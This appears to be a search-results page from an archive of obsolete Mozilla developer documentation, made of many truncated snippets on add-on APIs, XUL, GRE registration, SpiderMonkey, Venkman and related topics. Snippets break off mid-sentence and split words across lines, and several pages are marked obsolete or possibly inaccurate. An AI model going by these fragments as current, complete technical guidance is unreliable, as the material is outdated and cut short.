stallpath nsifile the installation location of the add-on being bootstrapped. this may be a directory or an xpi file depending on whether the add-on is installed unpacked or not. resourceuri nsiuri a uri pointing at the root of the add-ons files, this may be a jar: or file: uri depending on whether the add-on is installed unpacked or not. oldversion string the p
reviously installed version, if the reason is addon_upgrade or addon_downgrade, and the method is install or startup. newversion string the version to be installed, if the reason is addon_upgrade or addon_downgrade, and the method is shutdown or uninstall. note: an add-on may be upgraded/downgraded at application startup, in this case the startup method reason is app_startup, a...
Bookmarks - Archive of obsolete content
) method: var thistitle = bmsvc.getitemtitle(newbkmkid); this code will display an alert containing the title of the item referenced by the id newbkmkid. the item uri similarly, you can obtain the uri corresponding to a given bookmark item by calling the nsinavbookmarksservice.getbookmarkuri() method. var thisuri = bmsvc.getbookmarkuri(newbkmkid); assuming you've run all the code samples p
revious to this one, this will output "http://google.com". you can use the nsinavbookmarksservice.changebookmarkuri() method to update the uri for a given bookmark item: var uri = ios.newuri("http://mozilla.com/", null, null); bmsvc.changebookmarkuri(newbkmkid, uri); this example changes the bookmark to refer to the mozilla web site instead of google. note: all annotations, tags, and so forth ...
Dialogs and Prompts - Archive of obsolete content
x> <label value="hey!"/> <spacer flex="1"/> <vbox> <button dlgtype="accept"/> <button dlgtype="cancel"/> </vbox> </hbox> </dialog> default button since firefox 1.5, there are defaultbutton attributes and properties on the <dialog> element bug 284776. the possible values for the attribute are the names of buttons listed above, and the default is "accept", for compatibility with p
revious versions. using <dialogheader> you can use the dialogheader element to add "headers" to windows. to get an idea of what it looks like, open options (or preferences) dialog in firefox or thunderbird (v1.0 and earlier only). the header to the right of the sections buttons is made with <dialogheader>: <dialogheader title="general" description="whatever"/> note, that you should only use this ...
JS XPCOM - Archive of obsolete content
service); you can then call any methods in the nsiprefservice interface on the preferences object. getting a different interface for a component some components implement more than one interface. sometimes javascript is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface. with the preferences service from the p
revious example we can do the following: var preferences = preferences.queryinterface(components.interfaces.nsiprefbranch2); this allows you to use the methods in the nsiprefbranch2 interface. determining which interfaces an xpcom component supports to display a list of all interfaces that an xpcom component supports, do the following: // |c| is the xpcom component instance for each (i in compo...
Sidebar - Archive of obsolete content
onents.interfaces.nsidomwindow); mainwindow.document.getelementbyid("sidebar-box").width=newwidth; } or function setsidebarwidth(newwidth) { window.top.document.getelementbyid("sidebar-box").width=newwidth; } you can also disable the ability to resize it manually, using the mouse, by hiding the sidebar's splitter element. for this snippet to work, you have to declare mainwindow as in the p
revious code block then write: mainwindow.document.getelementbyid("sidebar-splitter").hidden = true; be aware that if you change the splitter's hidden attribute, you need to reset it to a safe value when your sidebar is closed, or replaced by another sidebar. for example, use this in your sidebar's unload event handler: mainwindow.document.getelementbyid("sidebar-splitter").hidden = mainwindow.
Windows - Archive of obsolete content
("mousedown", mousedown, false); window.addeventlistener("mouseup", mouseup, false); window.addeventlistener("mousemove", mousemove, false); xul titlebar element xul applications can take advantage of the titlebar element to achieve a similar result without extra javascript code. re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will p
revent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in. additionally, if the window is in the background, it may not be brought to the front. this code will check for a window of the provided name. if it finds one, it focuses it. if it doesn't, it opens one. var wenum = components.classes["@mozilla.org/e...
xml:base support in old browsers - Archive of obsolete content
olpos+skipfile); // find first path separator ('/') after protocol if (att2 !== -1) { att = att.substring(0, att2 - 1); // don't want any trailing slash, as the absolute path to be added already has one } } else if (!att.match(/\/$/)) { // if no trailing slash, add one, since it is being attached to a relative path att += '/'; } xmlbase = att + xmlbase; // if p
revious path was not absolute, resolve against the full uri here' break; } else if (att.indexof('/') === 0) { // if absolute (/), need to prepare for next time to strip out after slash xmlbase = att + xmlbase; abs = true; // once the protocol is found on the next round, make sure any extra path is ignored } else { // if relative, just add it xmlbase = att + xmlbase; } ...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website. once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into javascript objects. this practice is dangerous and will not, in fact, pass an amo
review. so the extension will not be allowed to move out of the amo sandbox. the practice is dangerous because the decoded javascript has full chrome privileges and could perform some nasty actions. how could the javascript an extension downloads perform nasty actions? fairly easy if the webserver where the javascript is hosted were to be hijacked or compromised. it happens to the best of us. amo takes the threat very serio...
Hiding browser chrome - Archive of obsolete content
esenting a particular user interface. this is done, for example, by the about:addons page. this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method. note: don't simply replace the hidechromeforlocation() method; this will likely hurt the functionality of firefox itself as well as other extensions. use the technique demonstrated here. var p
revfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || p
revfunc.apply(xulbrowserwindow, [alocation]); } this works by saving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a new method that calls through to the p
revious implementation. by chaining...
Inline options - Archive of obsolete content
y the optionstype as 2: <em:optionsurl>chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul</em:optionsurl> <em:optionstype>2</em:optionstype> your chrome.manifest file should contain the following, otherwise the path chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul will not exist content myaddon ./ this method allows you to maintain compatibility with p
revious versions of firefox by adding an override to your chrome.manifest: ...
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
from idl files only when mozilla_internal_api is defined (actually, they shouldn't be there at all). for errors about undeclared do_createinstance: #include "nscomponentmanagerutils.h" for errors about undeclared do_getservice: #include "nsservicemanagerutils.h" for errors about undeclared ns_getspecialdirectory: #include "nsdirectoryserviceutils.h" utility classes some utility classes could p
reviously be created with ns_new* utility functions. these classes must now be created using xpcom: // nsisupportsarray is bad! don't use it in new code. use nsiarray instead. (see xpcom:arrays.) nscomptr<nsisupportsarray> array; - rv = ns_newisupportsarray(getter_addrefs(array)); + array = do_createinstance(ns_supportsarray_contractid); - nscomptr<nsiinputstream> rawstream;- rv = ns_newbyteinpu...
Multiple item extension packaging - Archive of obsolete content
ltiple item package provides the ability to package multiple installable bundles which can then be downloaded and installed by a user, or provided pre-packaged with an application or by an external program. every multiple item package must provide an install.rdf file (not old-style install.js!) and has the same requirements as an extension except as noted below. there is currently no feature to p
revent or warn the user when installing an older version of an extension. multiple item package file layout the multiple item package file layout is a simplified form of an installable bundle and requires a file extension of xpi. a multiple item package may contain both extensions (e.g. xpi file extension) and themes (e.g. jar file extension). the basic structure is shown below: /install.rdf ...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
n order to detect the first stage, you'll need to add an event listener using the addaddonlistener method. the data parameter explains the action being performed. if you detect your add-on is going to be uninstalled at this stage, it's a good time to show the uninstall feedback form. it is not a good time to clean up your files, at least not without prior user consent. remember that the user can
revert this decision. so, you should listen to other events, like canceling the operation, to make sure that you know what is going on. set a boolean flag that indicates if your add-on is set to be uninstalled or not, and reset it when necessary. the second stage is knowing when the application is actually going to be closed. then you'll have reasonable certainty that the add-on will be removed and ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
rbitrary css selector. and because it is css-based, and is triggered when css is being applied anyway, it does not slow dom mutations. the technique was adapted from the method used by the x-tag library. the code below contains an inefficient fallback implementation for older browsers. it is worth noting, however, that while the animation-based implementation will fire any time an element which p
reviously did not match the given selector is changed so that it does (when a class is added, for instance), the fallback will only match nodes when they are inserted into the dom tree. minor changes are also required if one wishes to support other browsers, or to run in non-chrome-privileged scopes. /** * watches for nodes matching the given css selector to become * available. * * @param {strin...
Session store API - Archive of obsolete content
he session store feature. one key scenario in which supporting this feature can be crucial for an extension: firefox 2 lets users undo the closing of tabs. in order to properly restore your extension's state when a tab is restored, it needs to use the session store api's settabvalue() method to save any data it will need in order to restore its state, and then call gettabvalue() to retrieve the p
revious setting when the tab is restored. the session store api is implemented using the nsisessionstore interface. knowing when to restore each time firefox is about to restore a tab, an event of type sstabrestoring is sent. if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = even...
Prerequisites - Archive of obsolete content
if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. this tutorial instructs you to do things that can damage your installation and make it unusable, so don't modify your primary mozilla installation per the instructions in this tutorial unless you really know what you are doing! « p
reviousnext » ...
Specifying the appearance - Archive of obsolete content
an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute. there is one rule for each possible tinderbox state. make your own icons for the four states or use the following icons: no status , success , test failed and busted . if you restart mozilla now you should see the "no status" icon appear in the browser's status bar. « p
reviousnext » ...
contents.rdf - Archive of obsolete content
ied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="p
review.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin...
Creating regular expressions for a microsummary generator - Archive of obsolete content
secure urls. for example, both of the following urls might point to the same page: http://www.example.com/index.html https://www.example.com/index.html to make a regular expression that matches both pages, we just need to start the expression with "https" and then add a question mark (?) after that string, for example: ^https?://www\.example\.com/index\.html the question mark makes the p
revious character optional, so the regular expression matches strings that include the "s" in "https" as well as ones that don't. conclusion if we include both of these regular expressions in a microsummary generator for ebay auction item pages, the generator will then apply to just about all ebay auction item pages (at least all the ones we've seen so far!). note that since generators are xml, we...
Download Manager improvements in Firefox 3 - Archive of obsolete content
firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more. in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface. note: these changes will require some modest
revisions to code using the download manager; several methods have had minor changes. download manager interfaces nsidownloadmanager gives applications and extensions access to the download manager, allowing them to add and remove files to the download list, retrieve information about past and present downloads, and request notifications as to the progress of downloads. nsidownload describes a file in the download queue; ...
Error Console - Archive of obsolete content
read the article exception logging in javascript. see setting up extension development environment#development preferences for the preferences you should set if you want to see errors from firefox and extensions in the error console. before gecko 1.8.1 (firefox 2), it was called javascript console (see bug 265871). types of errors error usually a syntax error that p
revents the program from compiling. warning usually lets the program compile but warns of bad coding and suggests design flaws. message very similar to warning, used very rarely. manipulating data displayed in error console information displayed in error console can be accessed and manipulated through the console service. extensions can write to the error conso...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
as hooking up a stream converter if the listener asks for one. if any of those steps fails, the function returns false so that another content listener will be looked for. the first content listener we check is the content listener associated with our window context (the docshell that initiated the load). if this can't handle the content type, we loop over our stored list of possible listeners (p
reviously registered via registercontentlistener) and ask each one in turn whether it can handle the data. if we still have not found an nsiuricontentlistener, we ask the category manager whether it has an entry for the desired content type under the ns_content_listener_categorymanager_entry key. if it does, we instantiate that component using its contractid (via createinstance) and call trycontent...
Layout System Overview - Archive of obsolete content
s from 'none' to something else. the undisplayed map keeps track of all content and style data for elements that currently have no frames. (note: the original architecture of the layout system included the creation of frames for elements with no display. this changed somewhere along the line, but there is no indication of why the change was made. presumably it is more time and space-efficient to p
revent frame creation for elements with no display.) the frame manager also maintains a list of forms and form controls, as content nodes. this is presumably related to the fact that layout is responsible for form submission, but this is a design flaw that is being corrected by moving form submission into the content world. these collections of forms and form controls should be removed eventually. cs...
Style System Overview - Archive of obsolete content
s high as possible in the rule tree -- on the lowest of the rule nodes on the path to the root that specified something for that struct. a rule node that uses the same struct as its parent is marked with a “dependent bit” for that struct, which tells nsrulenode::getstyledata to just get the struct from the parent. style data computation all the style struct computation described in the p
revious few slides happens lazily. first, nsstylecontext::getstyledata checks for a cached struct on the style context, and returns it if present. then, nsrulenode::getstyledata checks for a cached struct or a dependent bit on the rule node, and returns the struct if present. otherwise, we need to compute the struct, so nsrulenode::getstyledata calls nsrulenode::get*data, which initializes the cor...
GRE Registration - Archive of obsolete content
tware/mozilla.org/gre keys. each subkey is searched for gre registration information: hklm/software/mozilla.org/gre/1.8_1 version=1.8 grehome=c:\path\to\installed-dir feature=value feature2=value2 hklm/software/mozilla.org/gre/1.8_2 version=1.8 grehome=c:\path\to\second-installation when installing a gre via the mozilla suite gre installer, the installer will blindly overwrite any p
revious gre information in hklm/software/mozilla.org/gre/<version>. when installing a gre via the command line <tt>xulrunner.exe -register-global</tt>, xulrunner will detect that there is already an installation at hklm/software/mozilla.org/gre/<version> and will try alternate keys <version>_1 _2 until an available key is found. mac on mac, the only gre is the libxul framework xul.framework. this ...
GRE - Archive of obsolete content
or platforms (windows, mac, and linux). finding and using a gre from application code avoid linking directly against xpcom.dll if an application wishes to use the gre, it must take careful steps to ensure that it links against the proper libraries. if you link directly against xpcom.dll/libxpcom.so (xpcom.lib import lib), your application will not launch unless xpcom.dll is in your path. this p
revents dynamically finding a compatible gre at runtime. find a compatible gre note: support for locating a standalone glue was removed in gecko 6.0. to find a compatible gre, you should use the function gre_getgrepathwithproperties() (declared in xpcom/glue/standalone/nsxpcomglue.h). this allows the embedder to specify what version(s) of gre are appropriate, and to specify any special features ...
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content. the p
revious document had a lot of places where ideas were simply introduced without explanation, and i've tried to go through things a bit more slowly with better descriptions. this is still very much a work in progress, tho, and i need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary". this document describes how to integrate html help documentation into your application using the mozilla help viewer. documentation contained in the help viewer ca...
Hidden prefs - Archive of obsolete content
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2002. this page has been flagged by editors or users as needing technical
review. until it is fully
reviewed, it may contain inaccurate or incorrect information. address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card p
review pane. the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchq...
generateCRMFRequest() - Archive of obsolete content
t. all the requests will have the same dn. argument description "requesteddn" an rfc 1485 formatted dn to include in the certificate request. "regtoken" a value used to authenticate the user to the ra/ca. "authenticator" a value that the user can authenticate with in the future when their private key is not available. can be used for key recovery or
revocation requests. "escrowauthoritycert" if this value is null, then no key escrow will be performed. this value specifies which kra certificate should be used to wrap the private key being escrowed. the user will be prompted for confirmation whenever a key will be escrowed. only key exchange keys will be escrowed. if a dual use key is being generated, it will not be escrowed. the value...
Basics - Archive of obsolete content
orld");var mybody = " my first message body on jetpack";var myicon = "http://www.mozilla.com/favicon.ico";jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window. the namespace for this class is jetpack.tabs. blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. m...
Menu - Archive of obsolete content
target indicates the existing item to remove. see targets. if no such target exists, the call silently fails. replace(target, newitems) replaces an item with new items. parameters target indicates the existing item to replace. see targets. if no such target exists, the call silently fails. newitems a single menuitem or an array of menuitems. reset()
reverts all the changes to the menu that the feature has made. for menus that the feature creates, this is equivalent to clear(). set(items) equivalent to calling reset() and then add(items). this method and add() are the recommended methods of adding items to a menu. parameters items a single menuitem or an array of menuitems. show(anchornode) shows the menu immediately. parameters ...
slideBar - Archive of obsolete content
about status: in development instantiation: jetpack.future.import('slidebar') last update: v0.6 summary: slidebar is a reinvention of the old sidebar feature of browsers. they allow quick access to a wide range of both temporary and permanent information at the side of your browser window. when a slidebar feature is selected, its contents will be
revealed from behind the current web page. creating a slidebar and adding options to implement a new slidebar within your jetpack code, use the method jetpack.slidebar.append(options) ...
slideBar - Archive of obsolete content
er active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! slidebar is a reinvention of the old sidebar features of browsers. they allow quick access to a wide range of both temporary and permanent information at the side of your browser window. when a slidebar feature is selected its contents will be
revealed from behind the current webpage. it currently under development and lives in the future. jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance. iconhref oficon to show in the slidebaruri htmlhtml content for the fea...
Metro browser chrome tests - Archive of obsolete content
r libraries. static content for tests static content (html files, images, etc.) should be stored in sub directories to avoid polluting the main test directory. sub directories for larger test suites may also be created. exceptions in tests any exceptions thrown under test() will be caught and reported as a general failure. setup(), teardown(), and run() each have individual exception handlers to p
revent one method from interfering with the execution of another. an exception in any of these methods will cause a test failure. additional built-in framework test checks will run after the completion of each individual test insuring tests clean up properly. for more information on test execution see the main test exectuon loop in head.js. adding a new browser chrome test to the tree to add a new me...
Microsummary topics - Archive of obsolete content
content in order to update a microsummary, it honors cache-related http response headers. thus, if you would like to control how frequently firefox initiates microsummary-related requests to your web server, you can do so by including an http expires or cache-control header in your response to a microsummary-related request. for example, you might include the following header in your response to p
revent firefox from making another microsummary-related request for one hour: cache-control: max-age=3600 note: because of a technical limitation (bug 346820), firefox uses the same cache for both microsummary-related requests and user-initiated requests, so the cache headers you return apply to both. thus if your cache headers tell firefox not to refresh a page on your site more than once per hour,...
Monitoring downloads - Archive of obsolete content
obsoletethis feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it.this interface is deprecated as of firefox 26. please use downloads.jsm instead. firefox 3 makes it easier than ever to monitor the status of downloads. although it was possible to do so in p
revious versions of firefox, it was p
reviously only possible for one observer to do so at a time. firefox 3 introduces new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database. the result is a window you can open by choosing "down...
Nanojit - Archive of obsolete content
ns are made when a particular jit code is generated. for example, in an instruction inr x, a guard would check that x doesn't overflow the range for a 32 bit integer. the jit code would have a guard checking this condition(an xt guard), and would return to the interpreter if the condition turns out to be true. the interpreter is then equipped to handle the overflow. hence, guards are needed to p
revent certain erroneous behaviour that might result from the assumptions that are generally made while jit is generated. todo: explain guards, guard records, vmsideexit, fragmento, verbosewriter::formatguard... ...
Plug-n-Hack Phase1 - Archive of obsolete content
ropriate addon). configuresectoolfailed - this notifies the document that configuration has failed for some reason. the user should be notified that configuration has failed. configuresectoolsucceeded - this notifies the document that configuration has succeeded. the user can be given a message to this effect. configuresectoolactivated - this notifies the document that pnh support (perhaps p
reviously unavailable, e.g. due to a missing addon) has been enabled. you can see an example of a configuration document in the zap pnh addon. there’s another (possibly out of date) example here. an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localh...
BlogPosts - Archive of obsolete content
just browsing: mozilla prism update thanscorner: mozilla prism - webrunner with pazzaz mozilla prism - a
revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundl...
Bundles - Archive of obsolete content
should not write data to it. the application profile directory can be used instead for this purpose. note: the webapp must have an id in order to be installed. when prism is launched with a "-webapp [bundle]" command line, the bundle must first be unpacked before the web application is launched. this can slow the overall launch time and the unpacking is redundant if the bundle has been launched p
reviously. this is why the preferred method of launching is to use the "-webapp [webapp-id]" command line, which looks for the p
reviously installed (unpacked) web application in the prism webapps/{webapp-id} folder. the web application is then launched without the unpacking overhead. a bundle can also be installed from firefox via the prism extension for firefox. the extension looks for <link> tags i...
Frequently Asked Questions - Archive of obsolete content
please contact us and we'll be happy to help you get involved. alternatively, if you're an svg user you can help by testing the svg enabled nightlies and filing bugs with minimal testcases whenever you encounter a problem. if you can't do either of these things you should still feel free to ask us friendly questions and give us constructive feedback. who's currently working on what? other than
reviewing patches and fixing the occassional bug, alex is currently taking a break from active svg development to concentrate on 'real work' and cool stuff like xtf and jssh. tim is working on implementing <filter> and working on items that need to be done before turning on svg by default. after recently implementing gradients, scooter is working on fixing some issues that remain outstanding and fixi...
Space Manager High Level Design - Archive of obsolete content
ients of the space manager. there is no internal use of the nsbandtrapezoid by the space manager, rather it uses its internal bandlist to create a banddata collection, which is largely made up of nstrapezoid data. use case use case 1: space manager is created / destroyed space manager instances are created in the nsblockframe's reflow method. an instance is created the blockreflowstate's p
revious space manager is saved off. the new space manager instance is associated with the blockreflowstate. after the block frame's reflow has completed, the old space manager instance is re-associated with the blockreflowstate the new space manager is destroyed. if the blockreflowstate already had a space manager instance associated with it, it is stored off before being replaced, and the return...
SpiderMonkey coding conventions - Archive of obsolete content
naming conventions public function names begin with js_ followed by capitalized "intercaps", e.g. js_newobject. extern but library-private function names use a js_ prefix and mixed case, e.g. js_searchscope. most static function names have unprefixed, mixed-case names: getchar. ...
Archived SpiderMonkey docs - Archive of obsolete content
ntation. file objectnon-standard server-side objectmerging tracemonkey repothese are the steps to merge the tracemonkey repository to mozilla-central. between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes around half a day.spidermonkey coding conventionsthe spidermonkey project owners enforce coding conventions pretty strictly during code
reviews. ...
Supporting per-window private browsing - Archive of obsolete content
ing session. to be notified when such a session ends (i.e., when the last private window is closed), observe the last-pb-context-exited notification. function pbobserver() { /* clear private data */ } var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); os.addobserver(pbobserver, "last-pb-context-exited", false); p
reventing a private session from ending if there are unfinished transactions involving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to p
revent the session from ending (prompting the user is recommended). to do this, observe the last-pb-context-exiting notification and set the data field of the nsisupportsprbool subject to true. var os ...
Table Layout Regression Tests - Archive of obsolete content
ently they indicate reflow problems, pages showing differently when loaded from cache) make your changes to the source, recompile. execute mozilla -layoutdebug - p foo >outputfile.txt execute the verify test make a note which tests have failed grep 'failed' outputfile.txt check how many tests have failed and analyze your results: if the regression tests have failed at the same place as the p
revious diagnosed false positives => ignore try to figure out what the other regressions are: are they improving the picture or are they regressions? note the difficult to explain test failures. change the source if necessary until the regression tests indicate that your patch does not fork the block and table layout submit your patch and lists the remaining differences in the bug be prepared t...
Tamarin mercurial commit hook - Archive of obsolete content
arin-commit-hook.py:master_hook once added, all commits will run the commit hook. hook use on every commit to your local repository, the hook will only check for violations in any new / changed code. any untouched lines of code that violate the check will be ignored. when a violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for
rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit this change? [n]: note that the prompt gives you the options to abort the commit (no), allow the tab (or other violation) on that particular line, or allow the violation for all lines in that file. if you choose to abort the commit, the commit message will...
Tuning Pageload - Archive of obsolete content
happens for a given page (the default is arbitrarily many times). once the backoff count is reached, no more rendering model construction till after the whole page is parsed. content.maxtextrun controls the maximum length of data in a textnode. so if you have more than content.maxtextrun characters of text in a row, we'll create multiple textnodes for it. this is an optimization designed to p
revent long text from ending up being o(n^2). it's also really a bug per the dom spec and we should stop doing it... ...
Using cross commit - Archive of obsolete content
dify the files (probably by applying the patch) patch -p0 < ~/caret.patch # commit on all the branches at once # make sure to use -m "commit message" when doing so tools/cross-commit --moz18 --branch mozilla_1_8_0_branch -m "fix some sort of security bug" layout/base/nscaret.h notes note that you must use a -m option with a cvs checkin message. otherwise cross-commit will end up waiting fo
rever for you to type a cvs checkin message in an editor that it never shows you! (although it works without specifying -m on the command line if you are using x-enabled emacs on linux.) also note that if you don't specify any branches to commit on, cross-commit will commit to the trunk and the mozilla_1_8_branch by default. details cross-commit accepts the following options: all cvs options (t...
Using gdb on wimpy computers - Archive of obsolete content
what the hell is it doing? versions of gdb earlier than 5 use a very slow algorithm for walking the list of already loaded symbols as it adds symbols to its symbol table. this has been fixed in version 5 of gdb. there isn't a fix for older versions. ...
Venkman Internals - Archive of obsolete content
breakpoints, which will be "real" breakpoints when/if the file is loaded (note that this may never happen!). note also that this is just my knowledge of venkman, which is quite limited. you would be better off asking silver (james ross). gijskruitbosch 05:41, 7 march 2007 (pst) venkman-debugger.js sets hooks in to the jsdidebuggerservice. initdebugger(). scriptmanager in initdebugger() the p
revious loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager. there is one scriptmanager per url (web page). this method is set into jsdiscripthook.onscriptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a "record" seems to be data underlyin...
Venkman Introduction - Archive of obsolete content
e input area (the text box) to list all of the commands available. the /help command can be used to get additional information about a specific command. you can type /help next, for example, to see how to use the next command. the input area supports command history and tab-completion for command names. command history remembers the last 20 commands entered. the up and down arrows can be used to
revisit these p
revious commands. tab completion allows the user to type the first portion of a command, and press tab twice to see possible completions. if only one command matches, it will be auto-completed on the first tab. view customization venkman offers nearly complete control over the arrangement and display of views within the application. the debugger is built on top of an application fram...
Using Breakpoints in Venkman - Archive of obsolete content
d to insert debug-only code in your scripts with zero impact on production code. to enable meta comments in a script, select "scan for meta comments" from the context menu of the file in the loaded scripts view. when you add a meta comment, a normal breakpoint is created. you can change or delete this breakpoint just as you would a breakpoint created by hand. resources venkman introduction—p
revious article on venkman. venkman's home page on devmo. original document information authors: robert ginda, ian oeschger published 02 may 2003 ...
Video presentations - Archive of obsolete content
is presentation covers how the mozilla build system works, how to configure the build system, and how to build mozilla projects. (as quicktime; 127 mb, 50 mb, and 68 mb) the life cycle of a bug (part 1, part 2) mike connor describes how a bug goes from bug report to patch to implemented fix. learn how to properly file a good bug report, how the bug reports are handled, and how to submit and get
reviews for patches. (as quicktime; 122 mb and 110 mb) release builds - from source tree to exe (part 1, part 2) learn how release builds of firefox are created. (as quicktime; 105 mb and 34 mb) other videos (might be obsolete) mozilla video presentations (2001-2002) seamonkey brownbag training series (2000) ...
When To Use ifdefs - Archive of obsolete content
an that there are completely different interfaces with the same name which are built conditionally. for example (at the time of writing) there are two nsiextensionmanager interfaces: toolkit version and suite version. the makefile ifdefs that choose which one to build are not obvious (see makefile.in and xpfe/components/makefile.in). if you are introducing a makefile ifdef of any sort, please ask
review from one of the build-config peers: benjamin smedberg is generally happy to
review these changes. ...
Binding Attachment and Detachment - Archive of obsolete content
rough css or through the dom) is guaranteed to be synchronous. an author can ensure that all bindings are synchronously attached by calling loadbindingdocument to pre-fetch any xbl documents that are required. if the binding document is loaded prior to the firing of the load event, then any binding attachments that are placed following the load will be synchronous if they come from one of these p
reviously loaded binding documents. the document obtained from loadbindingdocument is a copy of the binding document that is unique to the bound document. the bindings in the binding document can be modified using standard dom apis. any subsequent binding attachments that occur on elements in the bound document for bindings in the binding document use the modified copy. therefore new binding definit...
Event Handlers - Archive of obsolete content
osition in the event flow. since xbl handlers usually constitute the default actions for a widget, this allows authors in the bound document to write events that potentially suppress the default actions taken by the xbl handlers. within an xbl inheritance chain, event handlers always fire first on the derived binding and then on the base binding in the chain. a derived handler then has a way of p
reventing the event from flowing to its base binding handlers. mouse and key handlers have certain additional properties that are supported by xbl. additional attributes can be used to impose a filter on the event handler. when a filter is imposed, additional conditions must be met before the event handler will fire. for both mouse and key events, modifier keys can be specified using the modifiers ...
XBL - Archive of obsolete content
xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents. ...
Install script template - Archive of obsolete content
// this block also invokes a function to write registry keys (plid) and checks return from key writing // this block invokes refreshplugins() to ensure that plugin and xpt are available for use immediately if (errblock1 == success) { // installation to the current browser was a success - this is the most important job of this script! if(errblock2 == success) { // n...
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean this property is set to true if the user can press the back button to go to the p
revious page. if this property is false, the user cannot navigate to the p
revious page. set this property to true to indicate that the user can go back a page. set to false to disallow moving to the p
revious page. this has the effect of enabling or disabling the back button. ...
Property - Archive of obsolete content
:element.clonenode dom:element.firstchild dom:element.firstelementchild dom:element.lastchild dom:element.lastelementchild dom:element.localname dom:element.namespaceuri dom:element.nextelementsibling dom:element.nextsibling dom:element.nodename dom:element.nodetype dom:element.nodevalue dom:element.ownerdocument dom:element.parentnode dom:element.prefix dom:element.p
reviouselementsibling dom:element.p
revioussibling dom:element.scrollheight dom:element.scrollleft dom:element.scrolltop dom:element.scrollwidth dom:element.tagname dom:element.textcontent ...
Providing Command-Line Options - Archive of obsolete content
